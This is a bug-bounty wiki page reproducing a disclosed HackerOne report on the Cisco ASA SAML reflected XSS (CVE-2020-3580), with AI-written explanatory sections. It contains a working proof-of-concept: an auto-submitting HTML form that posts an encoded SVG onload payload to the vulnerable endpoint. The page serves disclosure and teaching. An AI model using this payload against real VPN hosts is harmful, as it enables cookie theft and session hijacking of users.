Skip to content
XSS Disclosed report Beginner CVE-2020-3580

XSS DUE TO CVE-2020-3580

Multiple Cisco ASA VPN hosts were vulnerable to a reflected cross-site scripting flaw in the SAML service, triggered by a crafted POST request to a specific endpoint. An attacker could steal users' cookies or redirect them to a malicious website.

cruxn3t Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 24 days
  • Disclosed after 3 months

Hello Team, During my research, I found multiple hosts to be vulnerable to Cisco ASA XSS CVE-2020-3580, This vulnerability targets the saml service within the VPN. It is triggered via a POST request to domain/+CSCOE+/saml/sp/acs?tgname=a

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe

Impact

With this vulnerability, an attacker can for example steal users cookies or redirect users on malicious website.

System Host(s)

█████

Affected Product(s) and Version(s)

Cisco ASA

CVE Numbers

CVE-2020-3580

Steps to Reproduce

<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://████/+CSCOE+/saml/sp/acs?tgname=a" method="POST"> <input type="hidden" name="SAMLResponse" value="&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;&apos;XSS&apos;&#41;&gt;" /> <input type="hidden" name="" value="" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Suggested Mitigation/Remediation Actions

Patch Cisco ASA : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe

The original report as published on HackerOne, by cruxn3t. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the SAML response parameter is reflected into the page without proper output encoding, allowing injected HTML and JavaScript to execute.

Impact

An attacker could steal users' cookies or redirect them to a malicious website.

What the attacker needed

Victim clicks a link or visits a malicious page; target runs vulnerable Cisco ASA version

The fix

The vulnerability should be fixed by applying the patch referenced in the Cisco security advisory.

How it was found

  1. Create an HTML page with a form that posts to the vulnerable SAML endpoint.
  2. Include a hidden field named SAMLResponse containing a malicious SVG payload.
  3. Automatically submit the form to the target.
  4. The payload is submitted to the target endpoint.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is an XSS bug in Cisco's VPN appliance. An attacker can craft a page that posts to the VPN site and runs their JavaScript in the victim's browser, letting them steal cookies or redirect them.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.